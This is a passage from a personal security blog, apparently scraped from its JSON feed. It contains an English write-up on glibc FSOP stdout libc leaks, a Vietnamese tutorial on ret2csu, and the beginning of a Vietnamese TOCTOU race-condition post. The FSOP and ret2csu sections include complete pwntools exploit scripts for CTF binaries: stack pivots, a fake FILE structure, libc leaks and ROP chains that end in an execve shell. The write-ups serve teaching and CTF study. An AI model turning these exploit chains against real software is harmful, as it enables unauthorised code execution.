closed fp-\u0026gt;file._flags \u0026amp;= ~_IO_LINKED 3. _IO_file_close_it # _IO_file_close_it →_IO_new_file_close_it\nsrc (glibc-2.31)\nint _IO_new_file_close_it (FILE *fp) { int write_status; if (!_IO_file_is_open (fp)) return EOF; if ((fp-\u0026gt;_flags \u0026amp; _IO_NO_WRITES) == 0 \u0026amp;\u0026amp; (fp-\u0026gt;_flags \u0026amp; _IO_CURRENTLY_PUTTING) != 0) write_status = _IO_do_flush (fp); else write_status = 0; _IO_unsave_markers (fp); int close_status = ((fp-\u0026gt;_flags2 \u0026amp; _IO_FLAGS2_NOCLOSE) == 0 ? _IO_SYSCLOSE (fp) : 0); /* Free buffer. */ if (fp-\u0026gt;_mode \u0026gt; 0) { if (_IO_have_wbackup (fp)) _IO_free_wbackup_area (fp); _IO_wsetb (fp, NULL, NULL, 0); _IO_wsetg (fp, NULL, NULL, NULL); _IO_wsetp (fp, NULL, NULL); } _IO_setb (fp, NULL, NULL, 0); _IO_setg (fp, NULL, NULL, NULL); _IO_setp (fp, NULL, NULL); _IO_un_link ((struct _IO_FILE_plus *) fp); fp-\u0026gt;_flags = _IO_MAGIC|CLOSED_FILEBUF_FLAGS; fp-\u0026gt;_fileno = -1; fp-\u0026gt;_offset = _IO_pos_BAD; return close_status ? close_status : write_status; } Control Flow :\ncheck if file is open check if the file is open in write mode _IO_NO_WRITES (0x0008) _IO_CURRENTLY_PUTTING if satisfied → call _IO_do_flush to flush the buffer and initialize the pointers check _flags2 == _IO_FLAGS2_NOCLOSE](32) → _IO_SYSCLOSE (__close in vtable) 4. puts # puts → _IO_puts\nsrc\nint _IO_puts (const char *str) { int result = EOF; size_t len = strlen (str); _IO_acquire_lock (stdout); if ((_IO_vtable_offset (stdout) != 0 || _IO_fwide (stdout, -1) == -1) \u0026amp;\u0026amp; _IO_sputn (stdout, str, len) == len \u0026amp;\u0026amp; _IO_putc_unlocked (\u0026#39;\\n\u0026#39;, stdout) != EOF) result = MIN (INT_MAX, len + 1); _IO_release_lock (stdout); return result; } Note that in the scr code, it will call _IO_sputn which mean that __xsputn from vtable of stdout will be call\n(_IO_FILE_plus)_IO_2_1_stdout→vtable.__xsputn(stdout, str, len) _IO_new_file_xsputn\nsrc\nsize_t _IO_new_file_xsputn (FILE *f, const void *data, size_t n) { const char *s = (const char *) data; size_t to_do = n; int must_flush = 0; size_t count = 0; if (n \u0026lt;= 0) return 0; /* This is an optimized implementation. If the amount to be written straddles a block boundary (or the filebuf is unbuffered), use sys_write directly. */ /* First figure out how much space is available in the buffer. */ if ((f-\u0026gt;_flags \u0026amp; _IO_LINE_BUF) \u0026amp;\u0026amp; (f-\u0026gt;_flags \u0026amp; _IO_CURRENTLY_PUTTING)) { count = f-\u0026gt;_IO_buf_end - f-\u0026gt;_IO_write_ptr; if (count \u0026gt;= n) { const char *p; for (p = s + n; p \u0026gt; s; ) { if (*--p == \u0026#39;\\n\u0026#39;) { count = p - s + 1; must_flush = 1; break; } } } } else if (f-\u0026gt;_IO_write_end \u0026gt; f-\u0026gt;_IO_write_ptr) count = f-\u0026gt;_IO_write_end - f-\u0026gt;_IO_write_ptr; /* Space available. */ /* Then fill the buffer. */ if (count \u0026gt; 0) { if (count \u0026gt; to_do) count = to_do; f-\u0026gt;_IO_write_ptr = __mempcpy (f-\u0026gt;_IO_write_ptr, s, count); s += count; to_do -= count; } if (to_do + must_flush \u0026gt; 0) { size_t block_size, do_write; /* Next flush the (full) buffer. */ if (_IO_OVERFLOW (f, EOF) == EOF) /* If nothing else has to be written we must not signal the caller that everything has been written. */ return to_do == 0 ? EOF : n - to_do; /* Try to maintain alignment: write a whole number of blocks. */ block_size = f-\u0026gt;_IO_buf_end - f-\u0026gt;_IO_buf_base; do_write = to_do - (block_size \u0026gt;= 128 ? to_do % block_size : 0); if (do_write) { count = new_do_write (f, s, do_write); to_do -= count; if (count \u0026lt; do_write) return n - to_do; } /* Now write out the remainder. Normally, this will fit in the buffer, but it\u0026#39;s somewhat messier for line-buffered files, so we let _IO_default_xsputn handle the general case. */ if (to_do) to_do -= _IO_default_xsputn (f, s+do_write, to_do); } return n - to_do; } Control Flow :\ncheck available space in the buffer fill the buffer : f-\u0026gt;_IO_write_ptr = __mempcpy (f-\u0026gt;_IO_write_ptr) if to-do remain _IO_OVERFLOW is called finally call _IO_default_xsputn to write → we focus on_IO_OVERFLOW\n_IO_new_file_overflow\nscr\nint _IO_new_file_overflow (FILE *f, int ch) { if (f-\u0026gt;_flags \u0026amp; _IO_NO_WRITES) /* SET ERROR */ { f-\u0026gt;_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } /* If currently reading or no buffer allocated. */ if ((f-\u0026gt;_flags \u0026amp; _IO_CURRENTLY_PUTTING) == 0 || f-\u0026gt;_IO_write_base == NULL) { /* Allocate a buffer if needed. */ if (f-\u0026gt;_IO_write_base == NULL) { _IO_doallocbuf (f); _IO_setg (f, f-\u0026gt;_IO_buf_base, f-\u0026gt;_IO_buf_base, f-\u0026gt;_IO_buf_base); } /* Otherwise must be currently reading. If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end, logically slide the buffer forwards one block (by setting the read pointers to all point at the beginning of the block). This makes room for subsequent output. Otherwise, set the read pointers to _IO_read_end (leaving that alone, so it can continue to correspond to the external position). */ if (__glibc_unlikely (_IO_in_backup (f))) { size_t nbackup = f-\u0026gt;_IO_read_end - f-\u0026gt;_IO_read_ptr; _IO_free_backup_area (f); f-\u0026gt;_IO_read_base -= MIN (nbackup, f-\u0026gt;_IO_read_base - f-\u0026gt;_IO_buf_base); f-\u0026gt;_IO_read_ptr = f-\u0026gt;_IO_read_base; } if (f-\u0026gt;_IO_read_ptr == f-\u0026gt;_IO_buf_end) f-\u0026gt;_IO_read_end = f-\u0026gt;_IO_read_ptr = f-\u0026gt;_IO_buf_base; f-\u0026gt;_IO_write_ptr = f-\u0026gt;_IO_read_ptr; f-\u0026gt;_IO_write_base = f-\u0026gt;_IO_write_ptr; f-\u0026gt;_IO_write_end = f-\u0026gt;_IO_buf_end; f-\u0026gt;_IO_read_base = f-\u0026gt;_IO_read_ptr = f-\u0026gt;_IO_read_end; f-\u0026gt;_flags |= _IO_CURRENTLY_PUTTING; if (f-\u0026gt;_mode \u0026lt;= 0 \u0026amp;\u0026amp; f-\u0026gt;_flags \u0026amp; (_IO_LINE_BUF | _IO_UNBUFFERED)) f-\u0026gt;_IO_write_end = f-\u0026gt;_IO_write_ptr; } if (ch == EOF) return _IO_do_write (f, f-\u0026gt;_IO_write_base, f-\u0026gt;_IO_write_ptr - f-\u0026gt;_IO_write_base); if (f-\u0026gt;_IO_write_ptr == f-\u0026gt;_IO_buf_end ) /* Buffer is really full */ if (_IO_do_flush (f) == EOF) return EOF; *f-\u0026gt;_IO_write_ptr++ = ch; if ((f-\u0026gt;_flags \u0026amp; _IO_UNBUFFERED) || ((f-\u0026gt;_flags \u0026amp; _IO_LINE_BUF) \u0026amp;\u0026amp; ch == \u0026#39;\\n\u0026#39;)) if (_IO_do_write (f, f-\u0026gt;_IO_write_base, f-\u0026gt;_IO_write_ptr - f-\u0026gt;_IO_write_base) == EOF) return EOF; return (unsigned char) ch; } Control Flow:\ncheck the file is writable : if (f-\u0026gt;_flags \u0026amp; _IO_NO_WRITES\nchecking stuff\nfinally, if ch = EOF call _IO_do_write\n→ note _IO_do_write\n_IO_do_write\nsrc\nint _IO_new_do_write (FILE *fp, const char *data, size_t to_do) { return (to_do == 0 || (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF; } new_do_write\nscr\nstatic size_t new_do_write (FILE *fp, const char *data, size_t to_do) { size_t count; if (fp-\u0026gt;_flags \u0026amp; _IO_IS_APPENDING) /* On a system without a proper O_APPEND implementation, you would need to sys_seek(0, SEEK_END) here, but is not needed nor desirable for Unix- or Posix-like systems. Instead, just indicate that offset (before and after) is unpredictable. */ fp-\u0026gt;_offset = _IO_pos_BAD; else if (fp-\u0026gt;_IO_read_end != fp-\u0026gt;_IO_write_base) { off64_t new_pos = _IO_SYSSEEK (fp, fp-\u0026gt;_IO_write_base - fp-\u0026gt;_IO_read_end, 1); if (new_pos == _IO_pos_BAD) return 0; fp-\u0026gt;_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); if (fp-\u0026gt;_cur_column \u0026amp;\u0026amp; count) fp-\u0026gt;_cur_column = _IO_adjust_column (fp-\u0026gt;_cur_column - 1, data, count) + 1; _IO_setg (fp, fp-\u0026gt;_IO_buf_base, fp-\u0026gt;_IO_buf_base, fp-\u0026gt;_IO_buf_base); fp-\u0026gt;_IO_write_base = fp-\u0026gt;_IO_write_ptr = fp-\u0026gt;_IO_buf_base; fp-\u0026gt;_IO_write_end = (fp-\u0026gt;_mode \u0026lt;= 0 \u0026amp;\u0026amp; (fp-\u0026gt;_flags \u0026amp; (_IO_LINE_BUF | _IO_UNBUFFERED)) ? fp-\u0026gt;_IO_buf_base : fp-\u0026gt;_IO_buf_end); return count; } It will call _IO_SYSWRITE in our exploit, it is a leak.\nTechniques # 1. hijack vtable # overwrite vtable and put appropriate address that we want to call in the vtable struct\n2. leak libc # 💡 Fake _flags and _IO_write_base then a function using stdout (puts,printf) call after , we will get the libc address Analysis :\n__flags have 4 bytes\nfirst 2 byte is _IO_MAGIC (0xFBAD0000)\nthe rest is flags\nall flags\n/* Magic number and bits for the _flags field. The magic number is mostly vestigial, but preserved for compatibility. It occupies the high 16 bits of _flags; the low 16 bits are actual flag bits. */ #define _IO_MAGIC 0xFBAD0000 /* Magic number */ #define _IO_MAGIC_MASK 0xFFFF0000 #define _IO_USER_BUF 0x0001 /* Don\u0026#39;t deallocate buffer on close. */ #define _IO_UNBUFFERED 0x0002 #define _IO_NO_READS 0x0004 /* Reading not allowed. */ #define _IO_NO_WRITES 0x0008 /* Writing not allowed. */ #define _IO_EOF_SEEN 0x0010 #define _IO_ERR_SEEN 0x0020 #define _IO_DELETE_DONT_CLOSE 0x0040 /* Don\u0026#39;t call close(_fileno) on close. */ #define _IO_LINKED 0x0080 /* In the list of all open files. */ #define _IO_IN_BACKUP 0x0100 #define _IO_LINE_BUF 0x0200 #define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */ #define _IO_CURRENTLY_PUTTING 0x0800 #define _IO_IS_APPENDING 0x1000 #define _IO_IS_FILEBUF 0x2000 /* 0x4000 No longer used, reserved for compat. */ #define _IO_USER_LOCK 0x8000 → we need to note _IO_CURRENTLY_PUTTING (0x800) and _IO_IS_APPENDING (0x1000)\nFrom the vtable, we need to note:\n__overflow __xsputn __write puts → __IO_puts → _IO_new_file_xsputn → _IO_new_file_overflow → _IO_do_write\n_IO_do_write → _IO_new_do_write → new_do_write\nfinally it will call _IO_SYSWRITE(f, f→_IO_write_base, f→_IO_write_ptr - f→_IO_write_base)\n→ output stdout→_IO_write_base with length of f→_IO_write_ptr - f→_IO_write_base to stdout\nTo-do :\nneed to bypass 2 if statements in _IO_new_file_overflow:\nfirst :\nif (f-\u0026gt;_flags \u0026amp; _IO_NO_WRITES) → _flags ≠ _IO_NO_WRITES (0x0008)\nsecond :\nif ((f-\u0026gt;_flags \u0026amp; _IO_CURRENTLY_PUTTING) == 0 || f-\u0026gt;_IO_write_base == NULL) → flags = _IO_CURRENTLY_PUTTING (0x800) or _IO_write_base ≠ NULL\nbypass another if statements in new_do_write :\nif (fp-\u0026gt;_flags \u0026amp; _IO_IS_APPENDING) → _flag = _IO_IS_APPENDING (0x1000)\nHow to leak libc # overwrite _flag to 0xfbad1800 overwrite _IO_read_ptr, _IO_read_end, _IO_read_base, _IO_write_base to the ptr that have an address we want to leak overwrite _IO_write_ptr, _IO_write_end, _IO_buf_base, _IO_buf_end to ptr + x (it will leak x byte). That ptr must in read and writable address. call puts -\u0026gt; leak. DEMO balsn babypwn 2023 # We are given a simple binary\nBut we dont have pop rdi gadget\nWe cannot do ret2dlresolve due to Full Relro. ret2csu is also impossible to do. So we will do some special techniques. After that ctf end, people mostly solved it in three ways :\nbruteforce libc by using one_gadget (LMAO) use add eax gadget to point eax to the area that have libc address then call puts to leak libc. use fsop I will use fsop in this exploit.\nWe will do that in three part :\nStack pivot to bss Overwrite the stdout ptr in the bss by using FSOP Leak libc -\u0026gt; ret2syscall Stack pivot to bss: # This is just a very simple process. Note that i use a very high address (bss + 0x400)\npayload = b\u0026#39;a\u0026#39;*32+p64(exe.bss()+0x400 + 0x20)+p64(exe.sym[\u0026#39;main\u0026#39;]+42) sl(payload) payload = b\u0026#39;a\u0026#39;*32+p64(0x404200+0x20)+p64(exe.sym[\u0026#39;main\u0026#39;]+42) sl(payload) FSOP # This is the hard part. The big question in this step is how to overwrite the stdout ptr. My idea is use the leave, ret gadget.\nEX : rsp = a , rbp = b (b is point to c). Now when we call leave, ret it will become rsp = b+8, rbp = c.\nUsing the above example, we can utilize it to make the rbp point to that stdout ptr. But here is one big problem : the stdout ptr is store in 0x404010 which is the beginning of the bss. So when we call gets it will get sigsegv because libc will push something to our bss() and at some point it will go to some uninitialized address.\nSo how to bypass it ?. This make me stuck for a very long time. After all, i realised when call puts (with our rsp is now point to bss) the bss will have stdout address !. By using stack cached we can bypass the above problem (using another address not 0x404010).\nAnother problem is when we do the leave, ret to overwrite the new stdout ptr addr1 , our rsp ptr will now point to addr1 + 8 and will look for address to return. So before overwrite that new ptr, we must overwrite addr1 + 8 to point to some useful ropchain in our program.\nMore problem appear !!!. After we overwrite that ptr, and puts leak the libc. The leave, ret instruction will execute again ! and will make our rsp point to some location in the libc (writable of course) so we must also overwrite it to new ropchain. In order to do that and not overwrite the vtable, we must partial overwrite lower address of addr1 to \\x00\nNow we can fsop by :\noverwrite _flag to 0xfbad1800 overwrite _IO_read_ptr, _IO_read_end, _IO_read_base, _IO_write_base to got table (any function you like) overwrite _IO_write_ptr, _IO_write_end, _IO_buf_base, _IO_buf_end to ptr (that ptr must be the bss to make it writable ) call puts -\u0026gt; leak. ret2syscall # This is the final step, and with the libc we can easily get shell\npoprdi = libc.address + 0x000000000002a3e5 poprsi = libc.address + 0x000000000002be51 poprdx = libc.address + 0x00000000000796a2 poprax = libc.address + 0x0000000000045eb0 syscall = libc.address + 0x0000000000029db4 payload = b\u0026#39;a\u0026#39;*32+b\u0026#39;b\u0026#39;*8+p64(poprdi)+p64(next(libc.search(b\u0026#39;/bin/sh\\x00\u0026#39;))) payload += p64(poprsi)+p64(0)+p64(poprdx)+p64(0)+p64(poprax)+p64(0x3b)+p64(syscall) sl(payload) Recap # Stack pivot to bss Read again in the bss , puts to make the bss have the new stdout ptr1 overwrite the lower address of that ptr1 to \\x00 overwrite ptr1+8 to ropchain return to the above ropchain, now we can fsop stdout fsop stdout and ropchain in here return to bss and do ret2syscall get shell Script :\nimport sys from pwn import * context.binary = exe = ELF(\u0026#34;chall_patched\u0026#34;) libc = ELF(\u0026#34;libc.so.6\u0026#34;) if (args.REMOTE): p = remote() else : p = process(exe.path) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if (args.GDB): gdb.attach(p, \u0026#34;\u0026#34;\u0026#34; b*0x00000000004011bb b*0x00000000004011c6 c \u0026#34;\u0026#34;\u0026#34;) input() poprbp = 0x000000000040115d leave = 0x00000000004011c5 addrsp = 0x0000000000401016 ret = 0x000000000040101a fake_file = p64(0xfbad1800)+p64(0x403fe8)*4+p64(exe.bss()+0x50)*4 payload = b\u0026#39;a\u0026#39;*32+p64(exe.bss()+0x400 + 0x20)+p64(exe.sym[\u0026#39;main\u0026#39;]+42) sl(payload) payload = b\u0026#39;a\u0026#39;*32+p64(0x404200+0x20)+p64(exe.sym[\u0026#39;main\u0026#39;]+42) sl(payload) payload = b\u0026#39;a\u0026#39;*32+p64(0x404340+8+0x20)+p64(exe.sym[\u0026#39;main\u0026#39;]+42) sl(payload) payload = b\u0026#39;a\u0026#39;*32+p64(0x404378+8+0x20)+p64(exe.sym[\u0026#39;main\u0026#39;]+42) sl(payload) payload = p64(0x4011a0)*4 + p64(0x404378) + p64(leave) sl(payload) payload = b\u0026#39;\\x00\u0026#39;*32 + p64(exe.bss()+0x100) + p64(exe.sym[\u0026#39;main\u0026#39;]+42)+b\u0026#39;\\x00\u0026#39;*112+ fake_file sl(payload) for i in range(0,5): p.recvline() leak = u64(p.recvn(8)) libc.address = leak - libc.sym[\u0026#39;setvbuf\u0026#39;] print(\u0026#34;leak : \u0026#34;,hex(leak)) print(\u0026#34;base : \u0026#34;,hex(libc.address)) poprdi = libc.address + 0x000000000002a3e5 poprsi = libc.address + 0x000000000002be51 poprdx = libc.address + 0x00000000000796a2 poprax = libc.address + 0x0000000000045eb0 syscall = libc.address + 0x0000000000029db4 payload = b\u0026#39;a\u0026#39;*32+b\u0026#39;b\u0026#39;*8+p64(poprdi)+p64(next(libc.search(b\u0026#39;/bin/sh\\x00\u0026#39;))) payload += p64(poprsi)+p64(0)+p64(poprdx)+p64(0)+p64(poprax)+p64(0x3b)+p64(syscall) sl(payload) p.interactive() Credit # https://ctftime.org/writeup/34812 https://rninche01.tistory.com/entry/stdout-flag%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-libc-leak?category=838537 ","date":"13 October 2023","externalUrl":null,"permalink":"/blog/fsop/","section":"Blog","summary":" Images not loading? Try accessing this site using a VPN. Analysis # 1. fclose # fclose() → __IO_new_fclose\n","title":"FSOP stdout","type":"blog"},{"content":"","date":"22 August 2023","externalUrl":null,"permalink":"/tags/ret2csu/","section":"Tags","summary":"","title":"Ret2csu","type":"tags"},{"content":" Images not loading? Try accessing this site using a VPN. ret2csu là kỹ thuật được sử dụng khi ta không có đầy đủ gadget cần thiết để thực hiện rop chain. Đây chính là gadget luôn có khi compile dynamic một binary. Bài này mình sẽ giới thiệu về kỹ thuật này thông qua một challenge.\nTổng quát # Khi chạy chương trình, không chỉ có các đoạn code của ta được thực thì mà còn có các đoạn code mặc định được thêm vào. Những đoạn code này nhằm mục đích khởi tạo các giá trị môi trường, load thông tin về những phần được thực thi cũng như \u0026ldquo;huỷ\u0026rdquo; nó khi kết thúc chương trình.\nĐây là thứ tự chương trình chạy khi trace từ entry point và ở đây ta cần chú ý đến hàm __libc_csu_init.\nKhi ta disass hàm này thì có một vài gadget thú vị\ngef➤ disass __libc_csu_init Dump of assembler code for function __libc_csu_init: 0x00000000004011b0 \u0026lt;+0\u0026gt;: endbr64 0x00000000004011b4 \u0026lt;+4\u0026gt;: push r15 0x00000000004011b6 \u0026lt;+6\u0026gt;: lea r15,[rip+0x2c53] # 0x403e10 0x00000000004011bd \u0026lt;+13\u0026gt;: push r14 0x00000000004011bf \u0026lt;+15\u0026gt;: mov r14,rdx 0x00000000004011c2 \u0026lt;+18\u0026gt;: push r13 0x00000000004011c4 \u0026lt;+20\u0026gt;: mov r13,rsi 0x00000000004011c7 \u0026lt;+23\u0026gt;: push r12 0x00000000004011c9 \u0026lt;+25\u0026gt;: mov r12d,edi 0x00000000004011cc \u0026lt;+28\u0026gt;: push rbp 0x00000000004011cd \u0026lt;+29\u0026gt;: lea rbp,[rip+0x2c44] # 0x403e18 0x00000000004011d4 \u0026lt;+36\u0026gt;: push rbx 0x00000000004011d5 \u0026lt;+37\u0026gt;: sub rbp,r15 0x00000000004011d8 \u0026lt;+40\u0026gt;: sub rsp,0x8 0x00000000004011dc \u0026lt;+44\u0026gt;: call 0x401000 \u0026lt;_init\u0026gt; 0x00000000004011e1 \u0026lt;+49\u0026gt;: sar rbp,0x3 0x00000000004011e5 \u0026lt;+53\u0026gt;: je 0x401206 \u0026lt;__libc_csu_init+86\u0026gt; 0x00000000004011e7 \u0026lt;+55\u0026gt;: xor ebx,ebx 0x00000000004011e9 \u0026lt;+57\u0026gt;: nop DWORD PTR [rax+0x0] 0x00000000004011f0 \u0026lt;+64\u0026gt;: mov rdx,r14 0x00000000004011f3 \u0026lt;+67\u0026gt;: mov rsi,r13 0x00000000004011f6 \u0026lt;+70\u0026gt;: mov edi,r12d 0x00000000004011f9 \u0026lt;+73\u0026gt;: call QWORD PTR [r15+rbx*8] 0x00000000004011fd \u0026lt;+77\u0026gt;: add rbx,0x1 0x0000000000401201 \u0026lt;+81\u0026gt;: cmp rbp,rbx 0x0000000000401204 \u0026lt;+84\u0026gt;: jne 0x4011f0 \u0026lt;__libc_csu_init+64\u0026gt; 0x0000000000401206 \u0026lt;+86\u0026gt;: add rsp,0x8 0x000000000040120a \u0026lt;+90\u0026gt;: pop rbx 0x000000000040120b \u0026lt;+91\u0026gt;: pop rbp 0x000000000040120c \u0026lt;+92\u0026gt;: pop r12 0x000000000040120e \u0026lt;+94\u0026gt;: pop r13 0x0000000000401210 \u0026lt;+96\u0026gt;: pop r14 0x0000000000401212 \u0026lt;+98\u0026gt;: pop r15 0x0000000000401214 \u0026lt;+100\u0026gt;: ret End of assembler dump. Mình lần lượt lable 2 gadget này như trên ảnh. Ở đây ta nhận thấy rằng ta có thể điều khiển được một vài register và bằng việc chain gadget1 -\u0026gt; gadget2 thì ta có thể call được địa chỉ mà ta muốn\nExploit # Do tính bá đạo của nó vì có mặt ở hầu hết các binary nên đã được xoá từ glibc 2.34\nhttps://sourceware.org/legacy-ml/libc-alpha/2018-06/msg00717.html\nĐây là thông tin tóm tắt về một số giá trị của register\nDo sau đó nó sẽ gọi call qword [r15 + rbx*8] nên để đơn giản ta cho rbx = 0 để khỏi tính toán Ngoài ra ta để ý rằng nếu ta chain gadget 1 -\u0026gt; gadget2 thì nếu ta cho các register đúng như các giá trị của ảnh trên thì nó sẽ thực thi lại gadget1 vì các lệnh sau:\nadd rbx,0x1 cmp rbp,rbx jne 0x4011f0 \u0026lt;__libc_csu_init+64\u0026gt; Do đó ta hoàn toàn có thể loop lại chương trình để tiếp tục gọi đến nó.\nLưu ý:\nChỉ khai thác được với các binary được combile dynamic với glibc \u0026lt;= 2.33 r15+rbx*8 phải chứa địa chỉ trỏ đến địa chỉ ta muốn call Demo time # Ở đây ta có một file binary\nDễ dàng thấy được đây có lỗi bof\nỞ đây mình sẽ giải bài này theo kiểu ret2csu.\nVào ida ta thấy có hàm __libc_csu_init là biết được ta có thể sài kỹ thuật này.\nTiếp theo vào gdb tìm địa chỉ của gadget 1 và 2\npart1 = 0x000000000040120a part2 = 0x00000000004011f0 ret = 0x000000000040101a Hướng khai thác lúc này của ta như sau:\nleak libc overwrite 1 địa chỉ bss bằng execve (bằng 1-lý-do-nào-đó mà mình sài system không được) overwrite 1 địa chỉ bss bằng /bin/sh. Ở đây ta không thể sài địa chỉ /bin/sh ở libc được vì nó hơn 4 byte (vì ta chỉ có thể control edi) gọi địa chỉ bss mà ta overwrite profit -\u0026gt; tất cả các quá trình trên đều thực hiện bằng ret2csu Đầu tiên ta leak libc:\npayload = b\u0026#39;a\u0026#39;*56+ p64(part1) payload += p64(0)+p64(1)+p64(1)+p64(exe.got[\u0026#39;write\u0026#39;])+p64(8)+p64(exe.got[\u0026#39;write\u0026#39;]) payload += p64(part2) payload += p64(0)*7 +p64(exe.sym[\u0026#39;vuln\u0026#39;]) p.send(payload) p.recvuntil(b\u0026#39;Enter Data - \u0026#39;) leak =u64(p.recvn(8)) libc.address = leak - 1014464 print(\u0026#34;LEAK \u0026#34; , hex(libc.address)) Ở đây mình leak địa chỉ của write. Ta để ý rằng có\np64(0)*7 +p64(exe.sym[\u0026#39;vuln\u0026#39;]) Do nó sẽ thực thi lại gadget1 nên ta cần 6 cái p64 để fill 6 cái register, 1 còn lại cái là padding. Sau đó nó lại tiếp tục chạy về hàm vuln\nTa thực hiện tương tự để overwrite bss thành execve\npayload =b\u0026#39;a\u0026#39;*56 + p64(part1) payload += p64(0)+p64(1)+p64(0)+p64(exe.bss())+p64(8)+p64(exe.got[\u0026#39;read\u0026#39;]) payload += p64(part2) payload += p64(0)*7 + p64(exe.sym[\u0026#39;vuln\u0026#39;]) p.send(payload) time.sleep(1) p.send(p64(libc.sym[\u0026#39;execve\u0026#39;])) Tiếp theo là ghi /bin/sh\npayload =b\u0026#39;a\u0026#39;*56 + p64(part1) payload += p64(0)+p64(1)+p64(0)+p64(exe.bss()+0x20)+p64(8)+p64(exe.got[\u0026#39;read\u0026#39;]) payload += p64(part2) payload += p64(0)*7 + p64(exe.sym[\u0026#39;vuln\u0026#39;]) p.send(payload) time.sleep(1) p.send(b\u0026#39;/bin/sh\\x00\u0026#39;) Cuối cùng là gọi lại bss để lấy shell.\npayload = b\u0026#39;a\u0026#39;*56+p64(part1) payload += p64(0)+p64(1)+p64(exe.bss()+0x20) +p64(0)*2+p64(exe.bss()) payload += p64(part2) Phần này ta thấy là không cần quay lại vuln làm gì nên không cần fill lại register\nChạy thử thì ta có shell Full script\nfrom pwn import * import time exe = ELF(\u0026#34;ret2csu\u0026#34;) libc = ELF(\u0026#34;/lib/x86_64-linux-gnu/libc.so.6\u0026#34;) p = process(exe.path) part1 = 0x000000000040120a part2 = 0x00000000004011f0 ret = 0x000000000040101a payload = b\u0026#39;a\u0026#39;*56+ p64(part1) payload += p64(0)+p64(1)+p64(1)+p64(exe.got[\u0026#39;write\u0026#39;])+p64(8)+p64(exe.got[\u0026#39;write\u0026#39;]) payload += p64(part2) payload += p64(0)*7 +p64(exe.sym[\u0026#39;vuln\u0026#39;]) p.send(payload) p.recvuntil(b\u0026#39;Enter Data - \u0026#39;) leak =u64(p.recvn(8)) libc.address = leak - 1014464 print(\u0026#34;LEAK \u0026#34; , hex(libc.address)) payload =b\u0026#39;a\u0026#39;*56 + p64(part1) payload += p64(0)+p64(1)+p64(0)+p64(exe.bss())+p64(8)+p64(exe.got[\u0026#39;read\u0026#39;]) payload += p64(part2) payload += p64(0)*7 + p64(exe.sym[\u0026#39;vuln\u0026#39;]) p.send(payload) time.sleep(1) p.send(p64(libc.sym[\u0026#39;execve\u0026#39;])) print(\u0026#34;BSS \u0026#34;,hex(exe.bss())) payload =b\u0026#39;a\u0026#39;*56 + p64(part1) payload += p64(0)+p64(1)+p64(0)+p64(exe.bss()+0x20)+p64(8)+p64(exe.got[\u0026#39;read\u0026#39;]) payload += p64(part2) payload += p64(0)*7 + p64(exe.sym[\u0026#39;vuln\u0026#39;]) p.send(payload) time.sleep(1) p.send(b\u0026#39;/bin/sh\\x00\u0026#39;) payload = b\u0026#39;a\u0026#39;*56+p64(part1) payload += p64(0)+p64(1)+p64(exe.bss()+0x20) +p64(0)*2+p64(exe.bss()) payload += p64(part2) p.send(payload) p.interactive() Nhận xét: Dù ở đây glibc mình đang sài là bản 2.37 nhưng vẫn exploit được do binary này được compile ở bản mà __libc_csu_init vẫn còn khả dụng\nReferences # https://ir0nstone.gitbook.io/notes/types/stack/32-vs-64-bit https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf https://gist.github.com/kaftejiman/a853ccb659fc3633aa1e61a9e26266e9 ","date":"22 August 2023","externalUrl":null,"permalink":"/blog/ret2csu/","section":"Blog","summary":" Images not loading? Try accessing this site using a VPN. ret2csu là kỹ thuật được sử dụng khi ta không có đầy đủ gadget cần thiết để thực hiện rop chain. Đây chính là gadget luôn có khi compile dynamic một binary. Bài này mình sẽ giới thiệu về kỹ thuật này thông qua một challenge.\n","title":"ret2csu - alternative way to bypass ASLR","type":"blog"},{"content":"","date":"4 July 2023","externalUrl":null,"permalink":"/tags/toctou/","section":"Tags","summary":"","title":"Toctou","type":"tags"},{"content":" Images not loading? Try accessing this site using a VPN. Trong bài này mình sẽ giới thiệu qua về TOCTOU (time of check - time of use), một hướng khai thác trong race condition cũng như cách setup đơn giản để khai thác và giải một số bài minh hoạ.\nGiới thiệu # Race condition là một lỗi xảy ra khi thực hiện một loạt các context switch giữa một process này với một process khác nhưng các process đấy lại xảy ra mâu thuẫn với nhau. TOCTOU là một dạng trong số các mâu thuẫn đấy và xảy ra khi chương trình check một điều kiện nào đó trước khi thực hiện công việc bất kỳ nhưng khi thực hiện context switch thì điều kiện đấy sẽ không còn đúng nữa và sẽ cho phép dẫn tới privilege escalation hoặc đọc ghi file ngoài ý muốn.\n1. Nguyên nhân # Nguyên nhân chính của việc dẫn đến race condition là do máy tính cho phép thực hiện multitask. Điều này giống như việc đang mở một task Discord và một task Chrome. Máy tính sẽ gây cho ta một ngộ nhận là các task này hoạt động song song với nhau nhưng thực chất là từng process trong task của Discord sẽ đan xen với từng process trong task của Chrome. Nhưng do tốc độ hoạt động của CPU quá nhanh nên ta nhầm tưởng chúng hoạt động song song. Điều này \u0026ldquo;khá tương tự\u0026rdquo; cách mắt bạn thấy ánh sáng từ đèn huỳnh quang. Về bản chất là nó chớp rồi tắt nhưng do dòng điện xoay chiều có tần số lớn nên mình tưởng nó luôn sáng.\nHình 1 : Việc một process thực hiện đơn lẽ\nHình 2 : Lầm tưởng chạy 2 process song song\nHình 3 : Thực chất việc máy tính xử lý. Việc chuyển từ công việc của một process này sang công việc của một process khác được gọi là context switch\n2. TOCTOU # Đây là một số khả năng khi ta chạy đa luồng 2 process cùng access vào 1 file:\nMột trong số các khả năng đấy sẽ có tìm ẩn nguy hiểm. Ta thấy khả năng đầu tiên như sau\nP1 và P2 cùng check_input trong cùng một môi trường sau đó P1 do_action với môi trường đó rồi sau đấy P2 lại do_action với môi trường đã bị P1 thay đổi =\u0026gt; có bug\nTrong khả năng thứ 2 thì lại an toàn do thực hiện xong process này mới tới process khác\nTrong các trường hợp còn lại thì process sau đều thực hiện do_action mà không check_input lại sau khi các process trước đó đã có tác động tới môi trường =\u0026gt; có bug\nSetup, demo # 1. Setup # Đầu tiên tạo file cần test và combile nó. Ở đây mình tạo file 